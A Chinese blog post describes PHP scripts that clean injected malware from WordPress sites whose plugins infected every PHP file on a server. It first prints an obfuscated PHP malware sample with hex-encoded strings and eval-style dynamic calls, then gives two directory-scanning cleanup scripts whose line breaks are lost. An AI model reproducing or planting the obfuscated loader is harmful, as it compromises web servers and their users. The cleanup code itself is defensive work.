PHP实现清除wordpress里恶意代码

php  /  管理员 发布于 7年前   122

公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。

恶意代码示例

复制代码 代码如下:

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preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function 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&& (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { 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$wzmdmzzyol = explode(chr((176-132)),'7239,44,5287,69,1871,39,5903,37,1727,36,2772,60,2055,59,48,57,9678,48,9945,68,3362,48,2527,64,5005,39,3740,40,1289,53,2884,49,5753,63,6161,62,3898,52,7746,48,1132,62,7619,64,4407,30,4922,29,5848,22,105,65,3106,69,6337,30,6099,62,9351,27,5113,49,3552,22,470,29,3971,58,8590,38,9601,42,6586,65,9237,70,7433,37,2667,30,4752,55,7353,42,4098,40,815,38,9529,48,2933,31,2337,56,499,33,6523,63,6651,46,3950,21,4310,40,793,22,3837,61,3175,61,9888,57,4664,50,880,68,9307,44,3410,55,5517,43,4621,43,8371,61,4270,40,755,38,8045,37,1679,48,532,63,8217,62,3640,51,2223,25,3780,57,2160,37,5227,60,9577,24,4865,57,1910,29,8923,48,2503,24,1601,31,335,58,6420,24,3236,35,2591,51,3465,64,9047,55,7470,64,8279,51,9858,30,7891,69,6967,57,3529,23,8689,40,7960,33,2964,23,2987,46,5634,56,6267,70,8545,45,3302,60,8870,53,4201,43,3574,66,853,27,1071,61,225,56,4138,63,2832,52,4537,29,6470,23,8432,46,6055,44,1632,47,6921,46,2308,29,1030,41,8162,30,7993,52,7192,47,2114,46,2393,67,7024,30,4437,41,9017,30,9171,66,4951,54,6493,30,5988,67,8192,25,9378,52,717,38,8141,21,8628,61,6754,48,2197,26,7395,38,5356,58,595,22,1546,29,2007,48,1447,31,4566,55,2460,43,6223,44,1352,42,8799,23,948,50,4714,38,1478,68,3073,33,1575,26,4509,28,2724,48,9484,45,998,32,5591,43,10037,69,5816,32,7534,29,6444,26,5162,65,7683,63,4478,31,8082,59,170,55,7836,55,4843,22,8330,41,1394,53,3691,49,6367,53,4350,57,9643,35,2697,27,8822,48,1835,36,1221,68,8478,67,9816,42,6802,28,5560,31,3271,31,5414,68,4029,30,281,54,418,52,7076,55,5940,48,2248,60,4244,26,4059,39,9726,39,7054,22,8759,40,6870,51,1939,68,9430,54,7563,56,6697,57,3033,40,8971,46,7794,42,9102,69,683,34,5870,33,8729,30,617,66,7131,39,5482,35,9765,51,5044,69,4807,36,2642,25,7283,70,6830,40,393,25,1806,29,7170,22,1763,43,1194,27,10013,24,0,48,5690,63,1342,10'); $yhjbllsvwt=substr($bssaiikhvn,(33905-23799),(41-34)); if (!function_exists('bggbbjvwgq')) { function bggbbjvwgq($vawbzzfouj, $wiijrfgknq) { $goicwhrdcc = NULL; for($ipzagsxozk=0;$ipzagsxozk<(sizeof($vawbzzfouj)/2);$ipzagsxozk++) { $goicwhrdcc .= substr($wiijrfgknq, $vawbzzfouj[($ipzagsxozk*2)],$vawbzzfouj[($ipzagsxozk*2)+1]); } return $goicwhrdcc; };} $urvbwkljhb="\x20\57\x2a\40\x67\150\x6a\145\x73\165\x77\166\x7a\146\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\67\x35\55\x31\63\x38\51\x29\54\x20\143\x68\162\x28\50\x35\67\x32\55\x34\70\x30\51\x29\54\x20\142\x67\147\x62\142\x6a\166\x77\147\x71\50\x24\167\x7a\155\x64\155\x7a\172\x79\157\x6c\54\x24\142\x73\163\x61\151\x69\153\x68\166\x6e\51\x29\51\x3b\40\x2f\52\x20\153\x6d\151\x73\166\x7a\161\x63\153\x68\40\x2a\57\x20"; $jtgibaqypx=substr($bssaiikhvn,(45338-35225),(40-28)); $jtgibaqypx($yhjbllsvwt, $urvbwkljhb, NULL); $jtgibaqypx=$urvbwkljhb; $jtgibaqypx=(775-654); $bssaiikhvn=$jtgibaqypx-1; ?>

恶意代码清理程序

@si');  #定义需要过滤的恶意代码规则$search_count = array(  'all_file'=>array(), #所有文件  'search_file0'=>array(),   #没有恶意代码文件  'search_file1'=>array() #含有恶意代码文件);$filelist = listDir($path,$fileType,false); #读取目录里符合条件文件列表if(!empty($filelist)){  foreach ($filelist as $file){    $file = (isset($file['name'])?$file['name']:$file);    $search_count['all_file'][] = $file;    $fileContent = file_get_contents($file);    $compile_fileContent = preg_replace($search, '', $fileContent);    if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){      #过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤）      $search_count['search_file1'][] = $file; ############备份原有文件 开始###############      $bakFile = str_replace($path, $bak_path, $file);      @make_dir(dirname($bakFile));      @file_put_contents($bakFile, $fileContent);      ############备份原有文件 结束############### #重新写入过滤后的内容到原有的PHP文件      @file_put_contents($file, $compile_fileContent);    }else{      $search_count['search_file0'][] = $file;    }  }} #print_r($search_count);die;echo sprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码，已处理结束',$path,count($search_count['all_file']), count($search_count['search_file1']));die;########################## 辅助函数######################## /** * 检查目标文件夹是否存在，如果不存在则自动创建该目录 * * @access   public * @param    string   folder   目录路径。不能使用相对于网站根目录的URL * * @return   bool */function make_dir($folder){  $reval = false;  if (!file_exists($folder)){    #如果目录不存在则尝试创建该目录    @umask(0);     #将目录路径拆分成数组    preg_match_all('/([^\/]*)\/?/i', $folder, $atmp);     #如果第一个字符为/则当作物理路径处理    $base = ($atmp[0][0] == '/') ? '/' : '';     #遍历包含路径信息的数组    foreach ($atmp[1] AS $val){      if ('' != $val){        $base .= $val;        if ('..' == $val || '.' == $val){          #如果目录为.或者..则直接补/继续下一个循环          $base .= '/';          continue;        }      }else{        continue;      }       $base .= '/';       if (!file_exists($base)){        #尝试创建目录，如果创建失败则继续循环        if (@mkdir(rtrim($base, '/'), 0777)){          @chmod($base, 0777);          $reval = true;        }      }    }  }else{    #路径已经存在。返回该路径是不是一个目录    $reval = is_dir($folder);  }   clearstatcache();   return $reval;}########获取目录下所有文件，包括子目录 开始################function listDir($path,$fileType=array(),$fileInfo=true){  $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $path);  if(!file_exists($path)||!is_dir($path)){    return '';  }  if(substr($path, -1,1)==DIRECTORY_SEPARATOR){    $path = substr($path, 0,-1);  }  $dirList=array();  $dir=opendir($path);  while($file=readdir($dir)){    #若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过    if($file!=='.'&&$file!=='..'){      $file = $path.DIRECTORY_SEPARATOR.$file;      if(is_dir($file)){        if(empty($fileType)){          $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file))):$file);        }        $dirList = array_merge($dirList,listDir($file,$fileType));      }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){        $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($file)):$file);      }    };  };  closedir($dir);  return $dirList;}########获取目录下所有文件，包括子目录 结束################

删除FTP里恶意代码(支持任意数量的文件处理)

@si');  #定义需要过滤的恶意代码规则$file_count = array(  'all_file'=>0,  #所有文件  'filter_file'=>0   #含有恶意代码文件);replaceUnwantedCode($path); #执行过滤#print_r($search_count);die;echo sprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码已清理，原始文件保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;function replaceUnwantedCode($path){  global $bak_path,$fileType,$search,$file_count;  $path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $path);  if(!file_exists($path)||!is_dir($path)){    return '';  }  if(substr($path, -1,1)==DIRECTORY_SEPARATOR){    $path = substr($path, 0,-1);  }  $dir=opendir($path);  while($file=readdir($dir)){    #若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过    if($file!=='.'&&$file!=='..'){      $file = $path.DIRECTORY_SEPARATOR.$file;      if(is_dir($file)){        replaceUnwantedCode($file);      }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){        ################################        @$file_count['all_file']++;        $fileContent = file_get_contents($file);  #文件原始代码        $compile_fileContent = preg_replace($search, '', $fileContent); #过滤后的内容        if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){          #过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤）          $file_count['filter_file']++;           ############备份原有文件 开始###############          $bakFile = str_replace($path, $bak_path, $file);          @make_dir(dirname($bakFile));          @file_put_contents($bakFile, $fileContent);          ############备份原有文件 结束###############           #重新写入过滤后的内容到原有的PHP文件          @file_put_contents($file, $compile_fileContent);        }        ################################        unset($fileContent,$compile_fileContent);      }    };  };  closedir($dir);  return true;}########################## 辅助函数######################## /** * 检查目标文件夹是否存在，如果不存在则自动创建该目录 * * @access   public * @param    string   folder   目录路径。不能使用相对于网站根目录的URL * * @return   bool */function make_dir($folder){  $reval = false;  if (!file_exists($folder)){    #如果目录不存在则尝试创建该目录    @umask(0);     #将目录路径拆分成数组    preg_match_all('/([^\/]*)\/?/i', $folder, $atmp);     #如果第一个字符为/则当作物理路径处理    $base = ($atmp[0][0] == '/') ? '/' : '';     #遍历包含路径信息的数组    foreach ($atmp[1] AS $val){      if ('' != $val){        $base .= $val;        if ('..' == $val || '.' == $val){          #如果目录为.或者..则直接补/继续下一个循环          $base .= '/';          continue;        }      }else{        continue;      }       $base .= '/';       if (!file_exists($base)){        #尝试创建目录，如果创建失败则继续循环        if (@mkdir(rtrim($base, '/'), 0777)){          @chmod($base, 0777);          $reval = true;        }      }    }  }else{    #路径已经存在。返回该路径是不是一个目录    $reval = is_dir($folder);  }   clearstatcache();   return $reval;}

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